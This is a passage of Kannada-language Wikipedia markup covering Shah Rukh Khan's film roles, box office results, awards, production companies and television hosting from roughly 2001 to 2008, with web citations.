BC]]) ಜೀವನದ ಮೇಲೆ ಆಧಾರಿತವಾಗಿದ್ದ ತಮ್ಮ ಭಾಗಶಃ ಕಲ್ಪಿತ ಚಿತ್ರ ಐತಿಹಾಸಿಕ ಮಹಾಕಾವ್ಯ ''[[ಅಶೋಕ (2001ರ ಚಿತ್ರ)|ಅಶೋಕ]]'' ದಲ್ಲಿನ ಚಕ್ರವರ್ತಿ [[ಅಶೋಕ]]ನ ಪಾತ್ರದ ಅಭಿನಯಕ್ಕಾಗಿ ಸಕಾರಾತ್ಮವಾದ ವಿಮರ್ಶೆಗಳನ್ನು ಅವರು ಪಡೆದಿದ್ದರು.<ref name="BO 2001">{{cite web|url=http://www.boxofficeindia.com/showProd.php?itemCat=207&catName=MjAwMA==|title=Box Office 2001|publisher=BoxOfficeIndia.Com|accessdate=2007-01-10|archiveurl=https://web.archive.org/web/20120117042738/http://www.boxofficeindia.com/showProd.php?itemCat=207&catName=MjAwMA==|archivedate=2012-01-17|url-status=dead}}</ref> == ೨೦೦೨ ರಲ್ಲಿ == ೨೦೦೨ ರಲ್ಲಿ, [[ಸಂಜಯ್‌ ಲೀಲಾ ಬನ್ಸಾಲಿ]]ಯವರ ಪ್ರಶಸ್ತಿ-ವಿಜೇತ ಗತಕಾಲದ ಪ್ರಣಯಕಾವ್ಯ, ''[[ದೇವದಾಸ್‌‌ (2002ರ ಚಿತ್ರ)|ದೇವದಾಸ]]'' ಚಿತ್ರದಲ್ಲಿನ ಶೀರ್ಷಿಕೆ ಪಾತ್ರದಲ್ಲಿನ ಖಾನ್‌‌ರ ಅಭಿನಯವನ್ನು ಶ್ಲಾಘಿಸಲಾಯಿತು. ಇದು [[ಶರತ್‌ ಚಂದ್ರ ಚಟ್ಟೋಪಾಧ್ಯಾಯ]]ರ [[ದೇವದಾಸ್‌‌|ಅದೇ ಹೆಸರಿನ ವಿಖ್ಯಾತ ಕಾದಂಬರಿ]]ಯೊಂದರ ಮೂರನೇ ಹಿಂದಿ ಚಿತ್ರ ಅಳವಡಿಕೆಯಾಗಿದ್ದುದಲ್ಲದೇ ಆ ವರ್ಷದ ಅತಿ ದೊಡ್ಡ ಯಶಸ್ವಿ ಚಿತ್ರಗಳಲ್ಲೊಂದಾಯಿತು.<ref name="2002 BO">{{cite web|url=http://www.boxofficeindia.com/showProd.php?itemCat=208&catName=MjAwMA==|title=Box Office 2002|publisher=BoxOfficeIndia.Com|accessdate=2007-01-10|archiveurl=https://web.archive.org/web/20120117054557/http://www.boxofficeindia.com/showProd.php?itemCat=208&catName=MjAwMA==|archivedate=2012-01-17|url-status=dead}}</ref> ಗಲ್ಲಾ ಪೆಟ್ಟಿಗೆಯನ್ನು ತುಂಬಿಸಿದ ಕುಟುಂಬ-ರೂಪಕ ''[[ಹಮ್‌ ತುಮಾರೆ ಹೇ ಸನಮ್‌]]'' ಚಿತ್ರದಲ್ಲಿ [[ಸಲ್ಮಾನ್‌ ಖಾನ್‌|ಸಲ್ಮಾನ್‌ ಖಾನ್]] ಮತ್ತು [[ಮಾಧುರಿ ದೀಕ್ಷಿತ್‌]]ರೊಂದಿಗಿನ ಪಾತ್ರವನ್ನೂ ಸಹಾ ಖಾನ್ ಮಾಡಿದ್ದಾರೆ.<ref name="2002 BO" /> 2003ರಲ್ಲಿ, ಖಾನ್ ಸಾಧಾರಣ ಯಶಸ್ಸನ್ನು ಹೊಂದಿದ ಪ್ರಣಯ ರೂಪಕ ''[[ಚಲ್ತೇ ಚಲ್ತೇ (2003ರ ಚಿತ್ರ)|ಚಲ್ತೇ ಚಲ್ತೇ]]'' ಯಲ್ಲಿ ನಟಿಸಿದರು.<ref name="2003 BO">{{cite web|url=http://www.boxofficeindia.com/showProd.php?itemCat=209&catName=MjAwMA==|title=Box Office 2003|publisher=BoxOfficeIndia.Com|accessdate=2007-01-10|archiveurl=https://web.archive.org/web/20131015210718/http://www.boxofficeindia.com/showProd.php?itemCat=209&catName=MjAwMA%3D%3D|archivedate=2013-10-15|url-status=dead}}</ref> ಅದೇ ವರ್ಷ, ಕರಣ್‌ ಜೋಹರ್ ಬರೆದ ಮತ್ತು‌ [[ನಿಖಿಲ್ ಆಡ್ವಾಣಿ|ನಿಖಿಲ್‌ ಅದ್ವಾನಿ/ಅಡ್ವಾಣಿ]] ನಿರ್ದೇಶಿಸಿದ ಕಣ್ಣೀರಿನ ಪ್ರವಾಹ ಹರಿಸುವ, ''[[ಕಲ್‌ ಹೋ ನಾ ಹೋ]]'' ಚಿತ್ರದಲ್ಲಿ ನಟಿಸಿದ್ದರು. ಈ ಚಿತ್ರದಲ್ಲಿನ ಖಾನ್‌ರ‌, ಮಾರಕ ಹೃದ್ರೋಗವಿರುವ ಪುರುಷನ ಪಾತ್ರದಲ್ಲಿನ ನಟನೆಯನ್ನು ಬಹಳ ಶ್ಲಾಘಿಸಲಾಗಿದೆ. ಈ ಚಿತ್ರವು ಭಾರತದಲ್ಲಿನ ವರ್ಷದ ಅತಿ ದೊಡ್ಡ ಯಶಸ್ವಿ ಚಿತ್ರಗಳಲ್ಲೊಂದಾಗಿದ್ದುದಲ್ಲದೇ ಸಾಗರೋತ್ತರ ಮಾರುಕಟ್ಟೆಗಳಲ್ಲಿನ ಬಾಲಿವುಡ್‌ನ ಅತಿ ದೊಡ್ಡ ಯಶಸ್ವಿ ಚಿತ್ರವಾಯಿತು.<ref name="2003 BO" /> == ೨೦೦೪ ರಲ್ಲಿ == ೨೦೦೪ ನೇ ಇಸವಿಯು ಖಾನ್‌ರಿಗೆ ಪ್ರತ್ಯೇಕವಾಗಿ ವಾಣಿಜ್ಯಿಕವಾಗಿ ಹಾಗೂ ನಿರ್ಣಾಯಕ ರೀತಿಯಲ್ಲಿ ಒಳ್ಳೆಯ ವರ್ಷವಾಗಿತ್ತು. ಅವರು [[ಫರಾಹ್‌ ಖಾನ್‌]]ರ ಚೊಚ್ಚಲ ನಿರ್ದೇಶನದ ಹಾಸ್ಯ ಚಿತ್ರ ''[[ಮೈ ಹೂ ನಾ]]'' ನಲ್ಲಿ ಸಹಾ ನಟಿಸಿದ್ದರು. ಚಿತ್ರವು ಗಲ್ಲಾ ಪೆಟ್ಟಿಗೆಯನ್ನು ತುಂಬಿಸಿತು. ಭಾರತ ಮತ್ತು ಸಾಗರೋತ್ತರ ದೇಶಗಳಲ್ಲಿ ಕೂಡಾ ೨೦೦೪ರ ಅತಿ ದೊಡ್ಡ ಯಶಸ್ವಿ ಚಿತ್ರವಾದ [[ಯಶ್‌ ಛೋಪ್ರಾ]]ರ ಪ್ರಣಯಗಾಥೆ ''[[ವೀರ್-ಝಾರಾ]]'' ನಲ್ಲಿ ಭಾರತೀಯ ಅಧಿಕಾರಿ, ವೀರ್ ಪ್ರತಾಪ್‌ ಸಿಂಗ್‌ ಪಾತ್ರ ವಹಿಸಿದ್ದರು.<ref name="2004 BO">{{cite web|url=http://www.boxofficeindia.com/showProd.php?itemCat=210&catName=MjAwMA==|title=Box Office 2004|publisher=BoxOfficeIndia.Com|accessdate=2007-01-10|archiveurl=https://archive.today/20120710093957/http://findarticles.com/p/articles/mi_m1295/is_n4_v61/ai_19254727/|archivedate=2012-07-10|url-status=live}}</ref> ಇದು ವೀರ್ ಮತ್ತು [[ಪ್ರೀತಿ ಜಿಂಟಾ|ಪ್ರೀತಿ ಝಿಂಟಾ]] ನಟಿಸಿದ ಪಾತ್ರವಾದ ಪಾಕಿಸ್ತಾನದ ಮಹಿಳೆಯ ಝಾರಾ ಹಯಾತ್‌/ಹಾಯತ್‌ ಖಾನ್‌ರ ಪ್ರಣಯ ಕಥೆಗೆ ಸಂಬಂಧಿಸಿದೆ. ಖಾನ್‌ರ‌, ಈ ಚಿತ್ರದ ಅಭಿನಯ ಅವರಿಗೆ ಅನೇಕ ಪ್ರಶಸ್ತಿ ಸಮಾರಂಭಗಳಲ್ಲಿ ಪ್ರಶಸ್ತಿಗಳನ್ನು ಗಳಿಸಿಕೊಟ್ಟಿತು. [[ಆಶುತೋಷ್ ಗೋವಾರಿಕರ್|ಅಶುತೋಷ್‌ ಗೊವಾರಿಕರ್‌]]ರ ರೂಪಕ ''[[ಸ್ವದೇಶ್‌]]'' ‌‌‌ನಲ್ಲಿನ ಉತ್ತಮ ಅಭಿನಯಕ್ಕಾಗಿ ಅದೇ ವರ್ಷ ಅವರಿಗೆ ನಿರ್ಣಾಯಕ ಗೌರವಗಳು ದೊರೆತವು‌. 2004ರಲ್ಲಿ ಬಿಡುಗಡೆಯಾದ ಅವರ ಮೂರೂ ಚಿತ್ರಗಳಲ್ಲಿನ ಪಾತ್ರಕ್ಕೆ [[ಫಿಲ್ಮ್‌ಫೇರ್ ಅತ್ಯುತ್ತಮ ನಟ ಪ್ರಶಸ್ತಿ]]ಗೆ ನಾಮಾಂಕಿತರಾಗಿದ್ದರೂ ಪ್ರಶಸ್ತಿಯನ್ನು ''ಸ್ವದೇಶ್‌'' ನ ಅಭಿನಯಕ್ಕಾಗಿ ಪಡೆದರು.<ref name="2004 BO" /> == ೨೦೦೬ ರಲ್ಲಿ == ೨೦೦೬ ರಲ್ಲಿ, ಖಾನ್ ನಾಲ್ಕನೇ ಬಾರಿ ಭಾವತೀವ್ರತೆಯ ರೂಪಕ ''[[ಕಭೀ ಅಲ್ವಿದಾ ನಾ ಕೆಹೆನಾ]]'' ದಲ್ಲಿ ಕರಣ್‌ ಜೋಹರ್‌‌ರ ಸಹಯೋಗದಲ್ಲಿ ನಟಿಸಿದರು. ಇದು ಭಾರತದಲ್ಲಿ ಒಳ್ಳೆಯ ಗಳಿಕೆ ಪಡೆದರೂ ಸಾಗರೋತ್ತರ ಮಾರುಕಟ್ಟೆಯಲ್ಲಿ ಅದಕ್ಕೂ ಹೆಚ್ಚಿನ ಗಳಿಕೆಯನ್ನು ಪಡೆದು ಬಾಲಿವುಡ್‌ನ ಅತಿದೊಡ್ಡ ಸಾರ್ವಕಾಲಿಕ ಯಶಸ್ವೀ ಚಿತ್ರವಾಯಿತು.<ref name="2006 BO">{{cite web|url=http://www.boxofficeindia.com/showProd.php?itemCat=212&catName=MjAwMA==|title=Box Office 2006|publisher=BoxOfficeIndia.Com|accessdate=2007-01-10|archiveurl=https://web.archive.org/web/20080125142500/http://www.boxofficeindia.com/showProd.php?itemCat=212&catName=MjAwMA==|archivedate=2008-01-25|url-status=dead}}</ref> ಆ ವರ್ಷದ ಅವರ ಎರಡನೇ ಬಿಡುಗಡೆಯಾದ ಚಿತ್ರ 1978ರ ಯಶಸ್ವಿ ಚಿತ್ರ ''[[ಡಾನ್‌(2006ರ ಚಿತ್ರ)|ಡಾನ್‌]]'' ನ ರೀಮೇಕ್‌ ಆದ ಶೀರ್ಷಿಕೆ ಪಾತ್ರ ವಹಿಸಿದ ಸಾಹಸ ಚಿತ್ರ ''[[ಡಾನ್‌(1978ರ ಚಿತ್ರ)|ಡಾನ್]]'' . ಈ ಚಿತ್ರವು ಯಶಸ್ಸನ್ನು ಪಡೆಯಿತು.<ref name="2006 BO" /> == 'ಚಕ್ ದೇ ಇಂಡಿಯ' ಅತ್ಯಂತ ಮಹತ್ವದ ಚಿತ್ರಗಳಲ್ಲೊಂದಾಗಿತ್ತು == ಖಾನ್‌ರ‌, ಯಶಸ್ಸು ಇನ್ನೂ ಅನೇಕ ಹೆಚ್ಚು ಜನಪ್ರಿಯ ಚಿತ್ರಗಳೊಂದಿಗೆ ಮುಂದುವರೆಯಿತು. ಅವರ ಅತಿ ಹೆಚ್ಚು ಯಶಸ್ಸಿನ ಪಾತ್ರಗಳಲ್ಲೊಂದೆಂದರೆ ಬಹು ಪ್ರಶಸ್ತಿ-ವಿಜೇತ ೨೦೦೭ರ ಚಿತ್ರ, [[ಭಾರತೀಯ ಮಹಿಳೆಯರ ರಾಷ್ಟ್ರೀಯ ಕ್ಷೇತ್ರ ಹಾಕಿ ತಂಡ|ಭಾರತೀಯ ಮಹಿಳೆಯರ ರಾಷ್ಟ್ರೀಯ ಹಾಕಿ ತಂಡ]]ದ ಬಗೆಗಿನ ''[[ಚಕ್‌ ದೇ ಇಂಡಿಯಾ]]'' . [[ಭಾರತೀಯ ರೂಪಾಯಿಗಳು|Rs]] 639 [[ದಶಲಕ್ಷ]]ಕ್ಕೂ ಹೆಚ್ಚಿನ ಗಳಿಕೆ ಮಾಡಿದ ''ಚಕ್‌ ದೇ ಇಂಡಿಯಾ'' 2007ರಲ್ಲಿ ಭಾರತದಲ್ಲಿನ ಮೂರನೇ ಅತಿಹೆಚ್ಚು ಗಳಿಕೆ ಕಂಡ ಚಿತ್ರವಾಗಿದ್ದುದಲ್ಲದೇ ಖಾನ್‌ರಿಗೆ ಮತ್ತೊಂದು [[ಫಿಲ್ಮ್‌ಫೇರ್ ಅತ್ಯುತ್ತಮ ನಟ ಪ್ರಶಸ್ತಿ]] ದೊರಕಿಸಿಕೊಟ್ಟಿತು.<ref name="boxoffice">{{cite web |url= http://www.boxofficeindia.com/showProd.php?itemCat=214&catName=MjAwMA |title= Box Office 2007 |accessdate= 2008-04-07 |publisher= Box Office India |archiveurl= https://archive.today/20120729170252/http://www.boxofficeindia.com/showProd.php?itemCat=214&catName=MjAwMA |archivedate= 2012-07-29 |url-status= live }}</ref> ಚಿತ್ರವು ಪ್ರಮುಖ ನಿರ್ಣಾಯಕ ಯಶಸ್ಸಾಗಿತ್ತು.<ref name="director">{{cite web |url=http://economictimes.indiatimes.com/ET_Cetera/Directors_pick_Taare_Zameen_Chak_De/articleshow/2661102.cms |title=Taare Zameen Par, Chak De top directors' pick in 2007 |accessdate= 2008-04-10 |last= |first= |date=29 December 2007 |work= |publisher= Economic Times }}</ref> ಅದೇ ವರ್ಷದಲ್ಲಿ [[ಫರಾಹ್‌ ಖಾನ್‌]]ರ‌, ೨೦೦೭ರ ಚಿತ್ರ, ''[[ಓಂ ಶಾಂತಿ ಓಂ (ಚಲನಚಿತ್ರ)|ಓಂ ಶಾಂತಿ ಓಂ]]'' ನಲ್ಲಿ ಸಹಾ ಖಾನ್ ನಟಿಸಿದರು. ಅದು ಆ ವರ್ಷದ ಭಾರತ ಮತ್ತು ಸಾಗರೋತ್ತರ ಮಾರುಕಟ್ಟೆಯ ಅತಿ ಹೆಚ್ಚಿನ ಗಳಿಕೆಯ ಚಿತ್ರವಾದುದಲ್ಲದೇ ಭಾರತದ ಅದುವರೆಗಿನ ಅತಿದೊಡ್ಡ ಗಳಿಕೆಯ ನಿರ್ಮಾಣವೆನಿಸಿತು.<ref name="boxoffice" /> ''ಅತ್ಯುತ್ತಮ ನಟ'' ಪ್ರಶಸ್ತಿಗೆ [[ಫಿಲ್ಮ್‌ಫೇರ್ ಪ್ರಶಸ್ತಿಗಳು|ಫಿಲ್ಮ್‌ಫೇರ್]] ಸಮಾರಂಭದಲ್ಲಿ ಮತ್ತೊಮ್ಮೆ ನಾಮಾಂಕಿತಗೊಳ್ಳಲು ಅವಕಾಶ ನೀಡಿತು. ಖಾನ್‌ರ‌, ತೀರ ಇತ್ತೀಚಿನ ಚಿತ್ರಗಳೆಂದರೆ 2008ರಲ್ಲಿ ಬಿಡುಗಡೆಯಾದ, ಗಲ್ಲಾ ಪೆಟ್ಟಿಗೆಯಲ್ಲಿ ಬೃಹತ್‌ ಯಶಸ್ಸು ಕಂಡ ''[[ರಬ್‌ ನೇ ಬನಾದಿ ಜೋಡೀ]]'' ಮತ್ತು ''[[ಬಿಲ್ಲು]]'' . == 'ಮೈ ನೇಮ್ ಈಸ್ ಖಾನ್' == 2009ರ ಹಾಗೆ, ಖಾನ್ ಫೆಬ್ರವರಿ ೨೦೧೦ರಲ್ಲಿ ಬಿಡುಗಡೆಯಾಗಬೇಕಿರುವ ''[[ಮೈ ನೇಮ್‌ ಈಸ್‌ ಖಾನ್‌]]'' ದ ಚಿತ್ರೀಕರಣ ನಡೆಸುತ್ತಿದ್ದಾರೆ. ತಮ್ಮ ಪತ್ನಿ [[ಗೌರಿ ಖಾನ್‌|ಗೌರಿ]] ಮತ್ತು ನಿರ್ದೇಶಕ [[ಕರಣ್‌ ಜೋಹರ್|ಕರಣ್‌ ಜೋಹರ್‌]]ರೊಂದಿಗೆ [[ಲಾಸ್ ಏಂಜಲೀಸ್|ಲಾಸ್‌ ಏಂಜಲೀಸ್‌]]ನಲ್ಲಿ ಚಿತ್ರೀಕರಣದಲ್ಲಿ ತೊಡಗಿದ್ದಾಗ, ಅವರು ಚಿತ್ರೀಕರಣದಿಂದ ಬಿಡುವು ಪಡೆದುಕೊಂಡು [[11 ಜನವರಿ]] [[2009]]ರಂದು [[ಲಾಸ್‌ ಏಂಜಲೀಸ್‌, ಕ್ಯಾಲಿಫೋರ್ನಿಯಾ|ಕ್ಯಾಲಿಫೋರ್ನಿಯಾದ ಲಾಸ್‌ ಏಂಜಲೀಸ್‌]]ನಲ್ಲಿ ನಡೆದ [[66ನೇ ಸ್ವರ್ಣ ವಿಶ್ವ/ಗೋಲ್ಡನ್‌ ಗ್ಲೋಬ್‌ ಪ್ರಶಸ್ತಿಗಳು|66ನೇ ಸ್ವರ್ಣ ವಿಶ್ವ/ಗೋಲ್ಡನ್‌ ಗ್ಲೋಬ್‌ ಪ್ರಶಸ್ತಿಗಳ ಸಮಾರಂಭ]]ದಲ್ಲಿ ಭಾಗವಹಿಸಿದ್ದರು.<ref>{{cite web|url=http://timesofindia.indiatimes.com/India_Buzz/I_dont_regret_turning_down_Slumdog_SRK/articleshow/4001941.cms|title=I don’t regret turning down Slumdog: SRK}}</ref><ref>{{cite web|url=http://www.bollywoodhungama.com/features/2009/01/13/4725/|title=SRK makes heads turn at the 66th Annual Golden Globe Awards}}</ref> ಖಾನ್ ಚಿತ್ರದ ತಾರೆ [[ಫ್ರೀದಾ ಪಿಂಟೊ]]ರೊಂದಿಗೆ ''[[ಸ್ಲಂಡಾಗ್‌ ಮಿಲಿಯನೇರ್‌]]'' ಚಿತ್ರವನ್ನು ಅಲ್ಲಿ ಪರಿಚಯಿಸಿದರು.<ref>{{cite web|url=http://www.goldenglobes.org/news/id/123|title=Golden Globes Press Release: SHAH RUKH KHAN SET AS PRESENTER AT GOLDEN GLOBE AWARDS|access-date=2009-10-29|archive-date=2009-01-18|archive-url=https://web.archive.org/web/20090118210139/http://www.goldenglobes.org/news/id/123|url-status=dead}}</ref><ref>{{cite web|url=http://movies.indiatimes.com/articleshow/msid-3984933,prtpage-1.cms|title=Debate: Was Shah Rukh Khan really needed at the Golden Globes?|access-date=2009-10-29|archive-date=2009-09-09|archive-url=https://web.archive.org/web/20090909152425/http://movies.indiatimes.com/articleshow/msid-3984933,prtpage-1.cms|url-status=dead}}</ref> == ನಿರ್ಮಾಪಕ == 1999ರಲ್ಲಿ [[ಜೂಹಿ ಚಾವ್ಲಾ]] ಮತ್ತು ನಿರ್ದೇಶಕ [[ಅಜೀಜ್‌ ಮಿರ್ಜಾ]]ರೊಡಗೂಡಿ ''[[ಡ್ರೀಮ್ಸ್‌ ಅನ್‌ಲಿಮಿಟೆಡ್‌|ಡ್ರೀಮ್ಸ್‌ ಅನ್‌ಲಿಮಿಟೆಡ್]]'' ಎಂಬ ನಿರ್ಮಾಣ ಕಂಪೆನಿಯನ್ನು ಸ್ಥಾಪಿಸಿದ ಖಾನ್‌ ನಿರ್ಮಾಪಕರೂ ಆದರು. ಅವರು ನಿರ್ಮಾಣ ಮತ್ತು ನಟನೆ ಎರಡನ್ನೂ ವಹಿಸಿದ್ದ ಮೊದಲೆರಡು ಚಿತ್ರಗಳಾದ: ''[[ಫಿರ್ ಬಿ ದಿಲ್‌ ಹೈ ಹಿಂದೂಸ್ತಾನಿ|ಫಿರ್ ಬಿ ದಿಲ್‌ ಹೈ ಹಿಂದೂಸ್ಥಾನಿ]]'' (೨೦೦೦) ಮತ್ತು ''[[ಅಶೋಕ (2001ರ ಚಿತ್ರ)|ಅಶೋಕ]]'' (೨೦೦೧)ಗಳು ಗಲ್ಲಾ ಪೆಟ್ಟಿಗೆಯಲ್ಲಿ ಮುಗ್ಗರಿಸಿದವು.<ref name="BO 2001" /> ಆದರೂ, ಅವರ ನಿರ್ಮಾಣ ಹಾಗೂ ನಟನೆಯ ಮೂರನೇ ಚಿತ್ರ, ''[[ಚಲ್ತೇ ಚಲ್ತೇ (2003ರ ಚಿತ್ರ)|ಚಲ್ತೇ ಚಲ್ತೇ]]'' (2003), ಗಲ್ಲಾ ಪೆಟ್ಟಿಗೆಯಲ್ಲಿ ಯಶಸ್ವಿಯಾಯಿತು.<ref name="2003 BO"/> * ೨೦೦೪ ರಲ್ಲಿ, ಖಾನ್‌ರು ಮತ್ತೊಂದು ನಿರ್ಮಾಣ ಕಂಪೆನಿಯಾದ, ''[[ರೆಡ್‌ ಚಿಲ್ಲೀಸ್‌ ಎಂಟರ್‌ಟೇನ್‌ಮೆಂಟ್‌]]'' ಅನ್ನು ಸ್ಥಾಪಿಸಿ, ನಿರ್ಮಾಣ ಮತ್ತು ನಟನೆಯನ್ನು ನಿರ್ವಹಿಸಿದ ''[[ಮೈ ಹೂ ನಾ]]'' , ಇನ್ನೊಂದು ಯಶಸ್ವಿ ಚಿತ್ರವಾಯಿತು.<ref name="2004 BO" /> ಅದರ ಮುಂದಿನ ವರ್ಷ, ಅವರು ನಟಿಸಿ ನಿರ್ಮಿಸಿದ ಕಾಲ್ಪನಿಕ ಚಿತ್ರ ''[[ಪಹೇಲಿ]]'' , ಕಳಪೆ ಸಾಧನೆ ಮೆರೆಯಿತು.<ref name="BO 2005">{{cite web|url=http://www.boxofficeindia.com/showProd.php?itemCat=211&catName=MjAwNQ==|title=Box Office Index:2005|archiveurl=https://archive.today/20120630155419/http://www.boxofficeindia.com/showProd.php?itemCat=211&catName=MjAwNQ==|archivedate=2012-06-30|access-date=2009-10-29|url-status=live}}</ref> ಈ ಚಿತ್ರವು ಅತ್ಯುತ್ತಮ ವಿದೇಶಿ ಭಾಷಾ ಚಲನಚಿತ್ರಗಳಿಗೆ ನೀಡುವ [[ಅಕಾಡೆಮಿ ಪ್ರಶಸ್ತಿಗಳು|ಅಕಾಡೆಮಿ ಪ್ರಶಸ್ತಿ]]ಗೆ ಭಾರತದ ಅಧಿಕೃತ ಸ್ಪರ್ಧಿ ಆಗಿದ್ದರೂ, ಅಂತಿಮ ಆಯ್ಕೆಯಲ್ಲಿ ಸಫಲವಾಗಲಿಲ್ಲ. ಖಾನ್‌ರು ೨೦೦೫ರಲ್ಲಿ ಕರಣ್‌ ಜೋಹರ್‌ರೊಡನೆ ಸಹನಿರ್ಮಾಪಕರಾಗಿ ಅಲೌಕಿಕ [[ಭಯಾನಕ ಚಿತ್ರ]] ''[[ಕಾಲ್ (2005ರ ಚಿತ್ರ)|ಕಾಲ್]]'' ‌, ಚಿತ್ರದಲ್ಲಿ ಅವರು [[ಮಲೈಕಾ ಅರೋರಾ ಖಾನ್‌]]ರೊಡನೆ [[ಐಟಂ ಹಾಡು|ಐಟಂ ಹಾಡಿ]]ನಲ್ಲಿ ಖಾನ್ ಭಾಗವಹಿಸಿದ್ದರು. ''ಕಾಲ್‌'' ಗಲ್ಲಾ ಪೆಟ್ಟಿಗೆಯಲ್ಲಿ ಸಮಾಧಾನಕರ ಯಶಸ್ಸನ್ನು ಪಡೆಯಿತು.<ref name="BO 2005" /> ಅವರ ಕಂಪೆನಿಯು ಅವರು ನಟಿಸಿದ್ದ ''[[ಓಂ ಶಾಂತಿ ಓಂ (ಚಿತ್ರ)|ಓಂ ಶಾಂತಿ ಓಂ]]'' (2007), ಮತ್ತು ಅವರು ಬಾಲಿವುಡ್‌ ಸೂಪರ್‌ಸ್ಟಾರ್‌ ಆಗಿ ಪೋಷಕಪಾತ್ರದಲ್ಲಿ ಕಾಣಿಸಿಕೊಂಡಿದ್ದ ''[[ಬಿಲ್ಲು]]'' (೨೦೦೯) ಚಿತ್ರಗಳನ್ನು ನಿರ್ಮಿಸಿತ್ತು. ಚಿತ್ರ ನಿರ್ಮಾಣ ಮಾತ್ರವಲ್ಲದೇ, ಅವರ ಕಂಪೆನಿಯು ''ರೆಡ್‌ ಚಿಲ್ಲೀಸ್‌ VFX'' ಎಂಬ ಹೆಸರಿನ ದೃಶ್ಯ ಸಂಯೋಜನೆ ಸ್ಟುಡಿಯೋವನ್ನು ಸಹಾ ಹೊಂದಿದೆ. ಅದು 'ದ ಫಸ್ಟ್‌ ಲೇಡೀಸ್‌', 'ಘರ್‌ ಕಿ ಬಾತ್‌ ಹೈ', ಮತ್ತು 'ನೈಟ್ಸ್‌ ಅಂಡ್‌ ಏಂಜೆಲ್ಸ್‌'ಗಳಂತಹಾ ಕಿರುತೆರೆ ಕಾರ್ಯಕ್ರಮಗಳ ನಿರ್ಮಾಣದಲ್ಲೂ ತೊಡಗಿಕೊಂಡಿದೆ. ಕಿರುತೆರೆ ಜಾಹಿರಾತುಗಳನ್ನು ಸಹಾ ಕಂಪೆನಿಯು ನಿರ್ಮಿಸುತ್ತದೆ.<ref>{{Cite web |url=http://www.redchillies.com/home/index.asp |title=ಆರ್ಕೈವ್ ನಕಲು |access-date=2009-10-29 |archive-date=2012-01-25 |archive-url=https://web.archive.org/web/20120125161549/http://www.redchillies.com/home/index.asp |url-status=dead }}</ref> * ೨೦೦೮ ರಲ್ಲಿ, ರೆಡ್‌ ಚಿಲ್ಲೀಸ್‌ ಎಂಟರ್‌ಟೇನ್‌ಮೆಂಟ್‌ ಸಂಸ್ಥೆಯು [[BCCI]]-ಬೆಂಬಲದ [[ಇಂಡಿಯನ್‌ ಪ್ರಿಮಿಯರ್‌ ಲೀಗ್‌|IPL]] [[ಕ್ರಿಕೆಟ್‌ (ಕ್ರೀಡೆ)|ಕ್ರಿಕೆಟ್‌]] ಪಂದ್ಯಾವಳಿ/ಸ್ಪರ್ಧೆಯ [[ಕೊಲ್ಕೊತಾ ನೈಟ್‌ ರೈಡರ್ಸ್‌]] ತಂಡದ ಮಾಲಿಕನಾಯಿತು. == ಕಿರುತೆರೆ ನಿರೂಪಕ == ಖಾನ್ ೦೦೭ ರಲ್ಲಿ, ''[[ಹೂ ವಾಂಟ್ಸ್‌ ಟು ಬಿ ಎ ಮಿಲಿಯನೇರ್‌??|ಹೂ ವಾಂಟ್ಸ್‌ ಟು ಬಿ ಎ ಮಿಲಿಯನೇರ್‌?]]'' ನ ಭಾರತೀಯ ಆವೃತ್ತಿಯಾದ ಪ್ರಸಿದ್ಧ ಪ್ರದರ್ಶನ ಆಟ ''[[ಕೌನ್‌ ಬನೇಗಾ ಕರೋಡಪತಿ]]'' ಯ ಮೂರನೇ ಸರಣಿಯಲ್ಲಿ [[ಅಮಿತಾಭ್‌ ಬಚ್ಚನ್|ಅಮಿತಾಭ್‌ ಬಚ್ಚನ್‌]]ರ ಬದಲಿ ನಿರೂಪಕರಾಗಿ ಕಾಣಿಸಿಕೊಂಡರು.<ref>{{cite web|url=http://www.iht.com/articles/ap/2007/01/18/arts/AS-A-E-TV-India-Millionaire-Show.php|title=IHT.com|archiveurl=https://web.archive.org/web/20070122152737/http://www.iht.com/articles/ap/2007/01/18/arts/AS-A-E-TV-India-Millionaire-Show.php|archivedate=2007-01-22}}</ref> ಹಿಂದಿನ ನಿರೂಪಕರು ಪ್ರದರ್ಶನ ಕಾರ್ಯಕ್ರಮವನ್ನು ೨೦೦೦-೦೫ರವರೆಗೆ ಐದು ವರ್ಷಗಳ ಕಾಲ ನಡೆಸಿಕೊಟ್ಟಿದ್ದರು. ೨೨ ಜನವರಿ ೨೦೦೭ರಂದು, ಹೊಸ ನಿರೂಪಕ ಖಾನ್‌ರೊಂದಿಗೆ ''ಕೌನ್‌ ಬನೇಗಾ ಕರೋಡಪತಿ'' ಪ್ರಸಾರವಾಗಲು ಆರಂಭಿಸಿ ೧೯ ಏಪ್ರಿಲ್‌ ೨೦೦೭ರಲ್ಲಿ ಕೊನೆಗೊಂಡಿತು.<ref>{{cite web|url=http://www.businessofcinema.com/2007/22jan/shahrukh_kbc.htm|title=Businessofcinema.com|access-date=2009-10-29|archive-date=2007-01-29|archive-url=https://web.archive.org/web/20070129101929/http://www.businessofcinema.com/2007/22jan/shahrukh_kbc.htm|url-status=dead}}</ref> * ೨೫ ಏಪ್ರಿಲ್‌, ೨೦೦೮ರಲ್ಲಿ, ಖಾನ್ ನಿರೂಪಕರಾಗಿ ಆರಂಭಿಸಿದ್ದ ಮತ್ತೊಂದು ಪ್ರದರ್ಶನ ಆಟವಾದ ''[[ಆರ್‌ ಯೂ ಸ್ಮಾರ್ಟರ್‌ ದ್ಯಾನ್‌ 5ತ್‌ ಗ್ರೇಡರ್‌? ?|ಆರ್‌ ಯೂ ಸ್ಮಾರ್ಟರ್‌ ದ್ಯಾನ್‌ 5ತ್‌ ಗ್ರೇಡರ್‌?]]'' <ref>{{cite web |last= Sinha |first= Ashish |title= IPL scores over ''Paanchvi Paas'' |url= http://www.rediff.com/money/2008/apr/29ipl.htm |date= 29 April 2008 |publisher= Rediff |accessdate=27 August 2009}}</ref> ನ ಭಾರತೀಯ ಆವೃತ್ತಿಯಾದ ''[[ಕ್ಯಾ ಆಪ್‌ ಪಾಂಚ್‌ ವೀ ಪಾಸ್‌ ಸೇ ತೇಜ್‌ ಹೈಂ? ?|ಕ್ಯಾ ಆಪ್‌ ಪಾಂಚ್‌ ವೀ ಪಾಸ್‌ ಸೇ ತೇಜ್‌ ಹೈಂ?]]'' ನ, [[ಲಾಲೂ ಪ್ರಸಾದ್‌ ಯಾದವ್‌]]ರು ವಿಶೇಷ ಅತಿಥಿಯಾಗಿದ್ದ ಕೊನೆಯ ಕಂತು ೨೭ ಜುಲೈ ೨೦೦೮ರಂದು 